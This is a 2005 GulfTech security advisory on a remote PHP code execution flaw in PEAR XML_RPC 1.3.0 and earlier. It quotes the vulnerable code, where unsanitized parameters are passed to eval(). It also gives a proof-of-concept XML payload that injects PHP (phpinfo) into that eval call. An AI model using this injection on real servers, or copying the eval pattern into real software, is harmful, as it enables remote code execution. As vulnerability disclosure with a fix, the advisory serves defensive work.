PEAR XML_RPC Remote Code Execution Vulnerability

[GulfTech Security Research <security () gulftech org>]

##########################################################
# GulfTech Security Research              June 29th, 2005
##########################################################
# Vendor  : The PEAR Group
# URL     : http://pear.php.net/package/XML_RPC/
# Version : PEAR XML_RPC 1.3.0 && Earlier
# Risk    : Remote Command Execution
##########################################################



Description:
PEAR XML_RPC is a PHP implementation of the XML-RPC web RPC protocol,
and used by many different developers across the world. PEAR XML_RPC
was originally developed by Edd Dumbill of Useful Information Company,
but has since been expanded by several individuals. Unfortunately PEAR
XML_RPC is vulnerable to a remote php code execution vulnerability that
may allow for an attacker to compromise a vulnerable server. Version
1.3.1 has been released to address these issues.



Remote Command Execution:
PEAR XML_RPC is vulnerable to a very high risk php code injection 
vulnerability
due to unsanatized data being passed into an eval() call. Let us have a 
look at
the code that allows the vulnerability to present itself.

// decompose incoming XML into request structure
xml_parser_set_option($parser_resource, XML_OPTION_CASE_FOLDING, true);
xml_set_element_handler($parser_resource, 'XML_RPC_se', 'XML_RPC_ee');
xml_set_character_data_handler($parser_resource, 'XML_RPC_cd');
if (!xml_parse($parser_resource, $data, 1)) {
   // return XML error as a faultCode
   $r = new XML_RPC_Response(0,
                             
$XML_RPC_errxml+xml_get_error_code($parser_resource),
                             sprintf('XML error: %s at line %d',
                                     
xml_error_string(xml_get_error_code($parser_resource)),
                                     
xml_get_current_line_number($parser_resource)));
   xml_parser_free($parser_resource);
} else {
   xml_parser_free($parser_resource);
   $m = new XML_RPC_Message($XML_RPC_xh[$parser]['method']);
   // now add parameters in
   for ($i = 0; $i < sizeof($XML_RPC_xh[$parser]['params']); $i++) {
       // print '<!-- ' . $XML_RPC_xh[$parser]['params'][$i]. "-->\n";
       $plist .= "$i - " . $XML_RPC_xh[$parser]['params'][$i] . " \n";
       eval('$m->addParam(' . $XML_RPC_xh[$parser]['params'][$i] . ');');
   }
   XML_RPC_Server_debugmsg($plist);

The for() loop that holds the vulnerable eval() call is used to build 
the request
from an incoming POST containing an XML document. There is really no 
type of checks
or sanitation done prior to this point, and the fact that 
magic_quotes_gpc does not
apply makes it that much easier for this issue to be exploited.

<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
   <params>
       <param>
       <value><name>','')); phpinfo(); exit;/*</name></value>
       </param>
   </params>
</methodCall>

The above xml file when posted to the vulnerable server will cause the 
phpinfo()
function call to be executed on the vulnerable server.



Solution:
PEAR XML_RPC 1.3.1 has been released to address this issue and can be 
found at

http://pear.php.net/package/XML_RPC/download/1.3.1

Both users and developers alike are strongly advised to upgrade immediately!



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00087-07012005


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Credits:
James Bercegay of the GulfTech Security Research Team